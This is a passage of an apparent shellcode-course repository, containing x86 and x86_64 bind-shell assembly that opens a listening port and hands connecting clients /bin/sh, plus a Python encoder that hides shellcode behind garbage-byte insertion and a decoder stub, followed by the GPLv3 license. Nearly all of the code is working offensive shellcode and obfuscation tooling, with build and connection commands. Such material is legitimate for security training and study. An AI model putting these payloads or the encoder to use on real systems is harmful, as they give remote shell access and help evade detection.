45 | ; ld -m elf_x86_64 tiny_shell_bind_tcp_random_port_x86_64.o -o \ 46 | ; tiny_shell_bind_tcp_random_port_x86_64 47 | ; 48 | ; Testing 49 | ; First terminsal 50 | ; # ./tiny_shell_bind_tcp_random_port_x86_64 51 | ; Second terminal (Discover the port and connect) 52 | ; # netstat -anp | grep shell 53 | ; # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS], 54 | ; avoiding nmap to connect to the port open by shellcode) 55 | ; # nc 127.0.0.1 port 56 | 57 | 58 | global _start 59 | 60 | section .text 61 | 62 | _start: 63 | 64 | ; syscalls (/usr/include/asm/unistd_64.h) 65 | ; socket numbers (/usr/include/linux/net.h) 66 | 67 | ; Creating the socket file descriptor 68 | ; int socket(int domain, int type, int protocol); 69 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) 70 | 71 | ; socket arguments (bits/socket.h, netinet/in.h) 72 | 73 | ; Avoiding garbage 74 | ; These push and pop unset the sign bit in rax used for cdq 75 | push 41 ; syscall 41 - socket 76 | pop rax 77 | 78 | ; Zeroing rdx, search about cdq instruction for understanding 79 | cdq ; IPPROTO_IP = 0 (int) - rdx 80 | 81 | push 1 ; SOCK_STREAM = 1 (int) 82 | pop rsi 83 | 84 | push 2 ; AF_INET = 2 (int) 85 | pop rdi 86 | 87 | ; syscall 41 (rax) - socket 88 | syscall ; kernel interruption 89 | 90 | 91 | ; Preparing to listen the incoming connection (passive socket) 92 | ; int listen(int sockfd, int backlog); 93 | ; listen(sockfd, 1); 94 | 95 | ; listen arguments ; just let rsi (backlog) as 1 - man(2) listen 96 | 97 | xchg eax, edi ; put the file descriptor returned by socket() into rdi 98 | 99 | mov al, 50 ; syscall 50 - listen 100 | syscall ; kernel interruption 101 | 102 | 103 | ; Accepting the incoming connection 104 | ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); 105 | ; accept(sockfd, NULL, NULL) 106 | 107 | ; accept arguments ; rdi already contains the sockfd, likewise rdx contains 0 108 | 109 | xchg eax, esi ; put listen() return (0) into rsi 110 | 111 | mov al, 43 ; syscall 43 - accept 112 | syscall ; kernel interruption 113 | 114 | 115 | ; Creating a interchangeably copy of the file descriptors 116 | ; int dup2(int oldfd, int newfd); 117 | ; dup2(clientfd, ...) 118 | 119 | xchg edi, eax ; put the clientfd returned from accept into rdi 120 | xchg esi, eax ; put the sockfd integer into rsi to use as the loop counter 121 | 122 | dup_loop: 123 | dec esi ; decrement loop counter 124 | 125 | push 33 ; syscall 33 - dup2 126 | pop rax 127 | syscall ; kernel interruption 128 | 129 | jnz dup_loop 130 | 131 | 132 | ; Finally, using execve to substitute the actual process with /bin/sh 133 | ; int execve(const char *filename, char *const argv[], char *const envp[]); 134 | ; exevcve("//bin/sh", NULL, NULL) 135 | 136 | ; execve string argument 137 | ; *envp[] rdx is already NULL 138 | ; *argv[] rsi is already NULL 139 | push rdx ; put NULL terminating string 140 | mov rdi, 0x68732f6e69622f2f ; "//bin/sh" 141 | push rdi ; push //bin/sh string 142 | push rsp ; push the stack pointer 143 | pop rdi ; pop it (string address) into rdi 144 | 145 | mov al, 59 ; execve syscall 146 | syscall ; bingo 147 | 148 | -------------------------------------------------------------------------------- /1st.assignment/shell_bind_tcp.asm: -------------------------------------------------------------------------------- 1 | ; Shell Bind TCP - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; shell_bind_tcp 22 | ; 23 | ; * avoids SIGSEGV when reconnecting, setting SO_REUSEADDR (TIME_WAIT) 24 | ; 25 | ; 26 | ; # nasm -f elf32 shell_bind_tcp.asm -o shell_bind_tcp.o -g 27 | ; # ld -m elf_i386 shell_bind_tcp.o -o shell_bind_tcp 28 | ; # ./shell_bind_tcp 29 | ; 30 | ; Testing 31 | ; # nc 127.0.0.1 11111 32 | 33 | 34 | global _start 35 | 36 | section .text 37 | 38 | _start: 39 | 40 | ; syscalls (/usr/include/asm/unistd_32.h) 41 | ; socketcall numbers (/usr/include/linux/net.h) 42 | 43 | ; Creating the socket file descriptor 44 | ; int socket(int domain, int type, int protocol); 45 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) 46 | 47 | mov eax, 102 ; syscall 102 - socketcall 48 | mov ebx, 1 ; socketcall type (sys_socket 1) 49 | 50 | ; socket arguments (bits/socket.h, netinet/in.h) 51 | push 0 ; IPPROTO_IP = 0 (int) 52 | push 1 ; SOCK_STREAM = 1 (int) 53 | push 2 ; AF_INET = 2 (int) 54 | 55 | mov ecx, esp ; ptr to argument array 56 | 57 | int 0x80 ; kernel interruption 58 | 59 | mov edx, eax ; saving the returned socket file descriptor 60 | 61 | 62 | ; Avoiding SIGSEGV when trying to reconnect before the kernel to close the socket previously opened 63 | ; this problem happens in most shellcodes, even in the Metasploit, because they do not care 64 | ; about the reuse of the socket address 65 | ; int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen); 66 | ; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &socklen_t, socklen_t) 67 | 68 | mov eax, 102 ; syscall 102 - socketcall 69 | mov ebx, 14 ; socketcall type (sys_setsockopt 14) 70 | 71 | push 4 ; sizeof socklen_t 72 | push esp ; address of socklen_t - on the stack 73 | push 2 ; SO_REUSEADDR = 2 74 | push 1 ; SOL_SOCKET = 1 75 | push edx ; sockfd 76 | 77 | mov ecx, esp ; ptr to argument array 78 | 79 | int 0x80 ; kernel interrupt 80 | 81 | 82 | ; Biding the socket with an address type 83 | ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); 84 | ; bind(sockfd, [AF_INET, 11111, INADDR_ANY], 16) 85 | 86 | mov eax, 102 ; syscall 102 - socketcall 87 | mov ebx, 2 ; socketcall type (sys_bind 2) 88 | 89 | ; building the sockaddr_in struct (sys/socket.h, netinet/in.h and bits/sockaddr.h) 90 | push 0 ; INADDR_ANY = 0 (uint32_t) 91 | push WORD 0x672b ; port in byte reverse order = 11111 (uint16_t) 92 | push WORD 2 ; AF_INET = 2 (unsigned short int) 93 | mov ecx, esp ; struct pointer 94 | 95 | ; bind arguments (sys/socket.h) 96 | push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t) 97 | push ecx ; sockaddr_in struct pointer (struct sockaddr *) 98 | push edx ; socket fd (int) 99 | 100 | mov ecx, esp ; ptr to argument array 101 | 102 | int 0x80 ; kernel interrruption 103 | 104 | 105 | ; Preparing to listen the incoming connection (passive socket) 106 | ; int listen(int sockfd, int backlog); 107 | ; listen(sockfd, 0); 108 | 109 | mov eax, 102 ; syscall 102 - socketcall 110 | mov ebx, 4 ; socketcall type (sys_listen 4) 111 | 112 | ; listen arguments 113 | push 0 ; backlog (connections queue size) 114 | push edx ; socket fd 115 | 116 | mov ecx, esp ; ptr to argument array 117 | 118 | int 0x80 ; kernel interruption 119 | 120 | 121 | ; Accepting the incoming connection 122 | ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); 123 | ; accept(sockfd, NULL, NULL) 124 | 125 | mov eax, 102 ; syscall 102 - socketcall 126 | mov ebx, 5 ; socketcall type (sys_accept 5) 127 | 128 | ; accept arguments 129 | push 0 ; NULL - we don't need to know anything about the client 130 | push 0 ; NULL - we don't need to know anything about the client 131 | push edx ; socket fd 132 | 133 | mov ecx, esp ; ptr to argument array 134 | 135 | int 0x80 ; kernel interruption 136 | 137 | mov edx, eax ; saving the returned socket fd (client) 138 | 139 | 140 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) 141 | ; int dup2(int oldfd, int newfd); 142 | ; dup2(clientfd, ...) 143 | 144 | mov eax, 63 ; syscall 63 - dup2 145 | mov ebx, edx ; oldfd (client socket fd) 146 | mov ecx, 0 ; stdin file descriptor 147 | 148 | int 0x80 ; kernel interruption 149 | 150 | mov eax, 63 151 | mov ecx, 1 ; stdout file descriptor 152 | 153 | int 0x80 154 | 155 | mov eax, 63 156 | mov ecx, 2 ; stderr file descriptor 157 | 158 | int 0x80 159 | 160 | 161 | ; Finally, using execve to substitute the actual process with /bin/sh 162 | ; int execve(const char *filename, char *const argv[], char *const envp[]); 163 | ; exevcve("/bin/sh", NULL, NULL) 164 | 165 | mov eax, 11 ; execve syscall 166 | 167 | ; execve string argument 168 | push 0 ; null byte 169 | push 0x68732f2f ; "//sh" 170 | push 0x6e69622f ; "/bin" 171 | 172 | mov ebx, esp ; ptr to "/bin//sh" string 173 | mov ecx, 0 ; null ptr to argv 174 | mov edx, 0 ; null ptr to envp 175 | 176 | int 0x80 ; bingo 177 | -------------------------------------------------------------------------------- /4th.assignment/insertion_encoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # 4 | # Multi-pattern Insertion Shellcode Encoder - Python Language 5 | # Copyright (C) 2013 Geyslan G. Bem, Hacking bits 6 | # 7 | # http://hackingbits.com 8 | # geyslan@gmail.com 9 | # 10 | # This program is free software: you can redistribute it and/or modify 11 | # it under the terms of the GNU General Public License as published by 12 | # the Free Software Foundation, either version 3 of the License, or 13 | # (at your option) any later version. 14 | # 15 | # This program is distributed in the hope that it will be useful, 16 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | # GNU General Public License for more details. 19 | # 20 | # You should have received a copy of the GNU General Public License 21 | # along with this program. If not, see . 22 | 23 | ''' 24 | insertion_encoder 25 | 26 | * encodes any sequence pattern of garbage insertion 27 | Eg: True Byte = b, Garbage Byte = x 28 | bxbxb ... 29 | xbbxx ... 30 | xxxbb ... 31 | 32 | 33 | # ./insertion_encoder.py -h 34 | # ./insertion_encoder.py -g f3 -p xxbbxb -e f1f1 -s $'\x31\xc9\xf7\xe1...\x80' 35 | 36 | ''' 37 | 38 | import sys 39 | import getopt 40 | import string 41 | 42 | 43 | def usage (): 44 | usage = """ 45 | -g --garbage Garbage Byte to be inserted (one byte in hex format) 46 | Default is 3f 47 | Eg. -g 2f 48 | --garbage 2f 49 | 50 | -p --pattern Pattern of insertion. Garbage = x; True Shellcode Byte = b 51 | Default is xb 52 | Eg. -p xxxbbxbb 53 | -p xbbbxbbx 54 | --pattern xxbxxbxx 55 | 56 | -e --end End signature (two bytes in hex format) 57 | Default is f1f1 58 | Eg. -e f2f2 59 | --end f1aa 60 | 61 | -s --shellcode The shellcode to be encoded with the Garbage Insertion Byte 62 | Eg. -s $'\\xcd\\x80' 63 | --shellcode `printf "\\xcc\\x90"` 64 | 65 | -h --help This help 66 | """ 67 | print(usage) 68 | 69 | def main(): 70 | garbageByte = "3f" 71 | pattern = "xb" 72 | endSignature = "f1f1" 73 | shellcode = "" 74 | 75 | try: 76 | opts, args = getopt.getopt(sys.argv[1:], "hg:p:e:s:") 77 | 78 | except getopt.GetoptError as err: 79 | print(err) 80 | usage() 81 | sys.exit() 82 | 83 | for o, a in opts: 84 | 85 | if o in ("-h", "--help"): 86 | usage() 87 | sys.exit() 88 | 89 | elif o in ("-g", "--garbage"): 90 | if (len(a) != 2 or not all(h in string.hexdigits for h in a)): 91 | print(" Garbage has to be in hex format. Eg. -g 3f\n") 92 | sys.exit() 93 | garbageByte = a 94 | 95 | elif o in ("-p", "--pattern"): 96 | if (len(a) < 2 or not "x" in a): 97 | print(" Pattern has to be at least two differents bytes. Eg. -p bx\n") 98 | sys.exit() 99 | pattern = a 100 | 101 | elif o in ("-e", "--end"): 102 | if (len(a) != 4 or not all(h in string.hexdigits for h in a)): 103 | print(" End signature has to be in hex format. Eg. -e f1f1\n") 104 | sys.exit() 105 | endSignature = a 106 | 107 | elif o in ("-s", "--shellcode"): 108 | shellcode = a.encode("utf_8", "surrogateescape") 109 | 110 | 111 | if (not shellcode): 112 | print(" Is necessary to inform a shellcode. Eg. -s $'\\xcd\\x80'\n") 113 | sys.exit() 114 | 115 | if (int("0x" + garbageByte, 16) in bytearray(shellcode)): 116 | print(" The shellcode being processed contains the byte '0x" + garbageByte + "'. " \ 117 | "Please choose another Garbage!\n") 118 | sys.exit() 119 | 120 | endfirst = int("0x" + endSignature[:-2], 16) 121 | endsecond = int("0x" + endSignature[-2:], 16) 122 | 123 | for x in range(len(shellcode)): 124 | if (endfirst == shellcode[x] and x < len(shellcode) - 1): 125 | if( endsecond == shellcode[x+1]): 126 | print(" The shellcode being processed contains the ordered bytes '" + \ 127 | hex(endfirst) + "' '" + hex(endsecond) + \ 128 | "'. Please choose other End Signature!\n") 129 | sys.exit() 130 | 131 | encoded = '"' 132 | encoded2 = "" 133 | encoded3 = '"' 134 | encoded4 = "" 135 | 136 | print("Multi-pattern Insertion Shellcode Encoder") 137 | print("http://hackingbits.com") 138 | print("https://github.com/geyslan/SLAE.git") 139 | print("License GPLv3+: GNU GPL version 3 or later \n\n") 140 | 141 | print("Encoded shellcode:") 142 | 143 | p = 0 144 | s = 0 145 | 146 | while 1: 147 | 148 | if (pattern[p] != "x" and pattern[p] != "b"): 149 | print(" Pattern invalid: " + pattern + "\n") 150 | print(" See the help.\n") 151 | sys.exit() 152 | 153 | if (pattern[p] == "x"): 154 | encoded += "\\x" + garbageByte 155 | 156 | if (s < len(shellcode)): 157 | if (pattern[p] == "b"): 158 | encoded += "\\x%02x" % shellcode[s] 159 | s += 1 160 | 161 | p += 1 162 | if (p == len(pattern)): 163 | p = 0 164 | 165 | if (s == len(bytearray(shellcode)) and p == 0): 166 | break 167 | 168 | encoded += '";' 169 | 170 | encoded2 = encoded.replace("\\x", ",0x")[+2:-2] 171 | 172 | end = r"\x" + endSignature[:-2] + r"\x" + endSignature[-2:] 173 | encoded3 += r"\xeb\x1a\x5e\x8d\x3e\x31\xc9\x8b\x1c\x0e" 174 | encoded3 += r"\x41\x66\x81\xfb" 175 | encoded3 += end 176 | encoded3 += r"\x74\x0f\x80\xfb" 177 | encoded3 += r"\x" + garbageByte 178 | encoded3 += r"\x74\xf0\x88\x1f\x47\xeb\xeb\xe8\xe1\xff" 179 | encoded3 += r"\xff\xff" 180 | encoded3 += encoded[+1:-2] 181 | encoded3 += end 182 | 183 | encoded3 += '";' 184 | 185 | encoded4 = encoded3.replace("\\x" , ",0x")[+2:-2] 186 | 187 | print() 188 | print(encoded) 189 | print() 190 | print(encoded2) 191 | print() 192 | print() 193 | 194 | print("Encoded shellcode with decoder built-in:") 195 | print() 196 | print(encoded3) 197 | print() 198 | print(encoded4) 199 | print() 200 | print() 201 | 202 | print("Length before: %d" % len(bytearray(shellcode))) 203 | print("Length after: %d" % ((len(encoded) - 2) /4)) 204 | print("Length with decoder: %d" % ((len(encoded3) - 2) /4)) 205 | 206 | 207 | if __name__ == "__main__": 208 | main() 209 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. {http://fsf.org/} 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. 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No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see {http://www.gnu.org/licenses/}. 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | aelf Copyright (C) 2013 Geyslan Gregório Bem 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | {http://www.gnu.org/licenses/}. 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | {http://www.gnu.org/philosophy/why-not-lgpl.html}. 675 | --------------------------------------------------------------------------------